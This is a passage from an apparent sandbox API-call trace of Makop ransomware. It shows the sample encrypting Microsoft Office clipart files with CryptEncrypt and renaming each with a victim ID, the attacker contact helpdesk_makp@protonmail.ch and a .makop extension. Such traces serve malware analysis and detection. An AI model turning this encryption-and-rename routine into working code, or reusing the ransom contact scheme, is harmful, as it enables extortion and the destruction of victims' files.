param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0126.013] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0126.015] CloseHandle (hObject=0xf0) returned 1 [0126.015] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3888, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0171685.WMF", cAlternateFileName="")) returned 1 [0126.015] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0126.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0126.016] GetProcessHeap () returned 0x48a0000 [0126.016] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0126.016] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0126.016] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0126.017] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.021] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.021] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.021] GetProcessHeap () returned 0x48a0000 [0126.021] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0126.021] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0126.021] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.021] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0126.021] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.021] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0126.022] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0126.022] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0126.022] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.022] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.022] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.022] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.022] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3888, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3888, lpOverlapped=0x0) returned 1 [0126.024] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3890, dwBufLen=0x3890 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3890) returned 1 [0126.024] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.024] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3890, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3890, lpOverlapped=0x0) returned 1 [0126.025] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.025] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.025] SetEndOfFile (hFile=0xf0) returned 1 [0126.032] GetProcessHeap () returned 0x48a0000 [0126.032] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0126.032] GetProcessHeap () returned 0x48a0000 [0126.032] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0126.032] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0126.032] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0126.033] CloseHandle (hObject=0xf0) returned 1 [0126.034] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0171847.WMF", cAlternateFileName="")) returned 1 [0126.034] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0126.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0126.035] GetProcessHeap () returned 0x48a0000 [0126.035] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0126.035] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0126.035] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0126.035] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.040] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.040] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.040] GetProcessHeap () returned 0x48a0000 [0126.041] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0126.041] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0126.041] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.041] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0126.041] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.041] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0126.041] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0126.041] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0126.042] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.042] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.042] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.042] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.042] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1ae8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1ae8, lpOverlapped=0x0) returned 1 [0126.043] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1af0, dwBufLen=0x1af0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1af0) returned 1 [0126.044] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.044] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1af0, lpOverlapped=0x0) returned 1 [0126.044] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.044] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1bc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.044] SetEndOfFile (hFile=0xf0) returned 1 [0126.052] GetProcessHeap () returned 0x48a0000 [0126.052] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0126.052] GetProcessHeap () returned 0x48a0000 [0126.052] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0126.052] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0126.052] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0126.054] CloseHandle (hObject=0xf0) returned 1 [0126.054] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d18, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0172035.WMF", cAlternateFileName="")) returned 1 [0126.054] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF") returned 63 [0126.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0126.055] GetProcessHeap () returned 0x48a0000 [0126.055] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0126.055] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0126.055] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0126.055] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.060] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.060] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.060] GetProcessHeap () returned 0x48a0000 [0126.060] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0126.060] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0126.060] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.060] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0126.060] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.060] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0126.061] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0126.061] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0126.061] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.061] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.061] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.061] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.061] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1d18, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1d18, lpOverlapped=0x0) returned 1 [0126.063] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d20, dwBufLen=0x1d20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d20) returned 1 [0126.063] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.063] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1d20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1d20, lpOverlapped=0x0) returned 1 [0126.063] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.063] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1df4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.063] SetEndOfFile (hFile=0xf0) returned 1 [0126.070] GetProcessHeap () returned 0x48a0000 [0126.070] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0126.070] GetProcessHeap () returned 0x48a0000 [0126.070] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0126.070] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0126.070] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0126.072] CloseHandle (hObject=0xf0) returned 1 [0126.073] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0172067.WMF", cAlternateFileName="")) returned 1 [0126.073] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF") returned 63 [0126.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0126.075] GetProcessHeap () returned 0x48a0000 [0126.075] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0126.075] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0126.075] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0126.076] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0126.080] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.080] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.080] GetProcessHeap () returned 0x48a0000 [0126.080] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0126.080] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0126.080] CryptDestroyKey (hKey=0x48c7128) returned 1 [0126.081] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0126.081] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0126.081] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0126.081] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0126.081] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0126.081] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0126.082] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0126.082] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0126.082] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.082] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b74, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1b74, lpOverlapped=0x0) returned 1 [0126.095] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b80, dwBufLen=0x1b80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b80) returned 1 [0126.095] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.095] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, 